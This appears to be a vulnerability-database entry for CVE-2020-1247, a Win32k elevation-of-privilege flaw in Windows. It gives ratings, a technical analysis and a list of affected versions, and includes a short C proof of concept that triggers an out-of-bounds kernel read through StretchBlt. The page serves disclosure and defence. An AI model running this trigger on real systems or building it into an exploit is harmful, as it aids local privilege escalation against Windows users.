Attacker Value
High
(1 user assessed)
Exploitability
Very Low
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Local
1

CVE-2020-1247

Disclosure Date: June 09, 2020
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Description

An elevation of privilege vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory, aka ‘Win32k Elevation of Privilege Vulnerability’. This CVE ID is unique from CVE-2020-1207, CVE-2020-1251, CVE-2020-1253, CVE-2020-1310.

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Ratings
Technical Analysis

A vulnerability exists within the NtGditretchBlt system call that can be leveraged to trigger an out of bounds read access within win32kfull!vStrWrite04. The bug manifests itself when the Special Pool setting is enabled through the driver verifier utility.

An attacker would use this flaw to escalate their privileges to that of the local system through this kernel mode exploit.

Exploitation would be very difficult, a successful attack would need an information leak as well as reliable control over the win32k heap which is more difficult on Windows 10 than previous versions of Windows due to type isolation (added in RS3) and the KASLR improvements (added in the Anniversary Update). The win32k subsystem is however available as an attack surface on all versions of Windows making it a very high-value target.

#include <Windows.h>

int main()
{
    BITMAPINFO bi = {{0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2}};
    char out[0x1000] = {0};
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0);
    SelectObject(r0, r1);
    StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6);

    return 0;
}

Original PoC provided by Check Point Research, see: https://cpr-zero.checkpoint.com/about/

General Information

Vendors

  • Microsoft

Products

  • Windows
  • Windows Server
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, version 1909 (Server Core installation)
  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows 10 Version 2004 for 32-bit Systems
  • Windows Server, version 2004 (Server Core installation)
  • Windows 10 Version 2004 for x64-based Systems
  • Windows 10 Version 2004 for ARM64-based Systems

Additional Info

Technical Analysis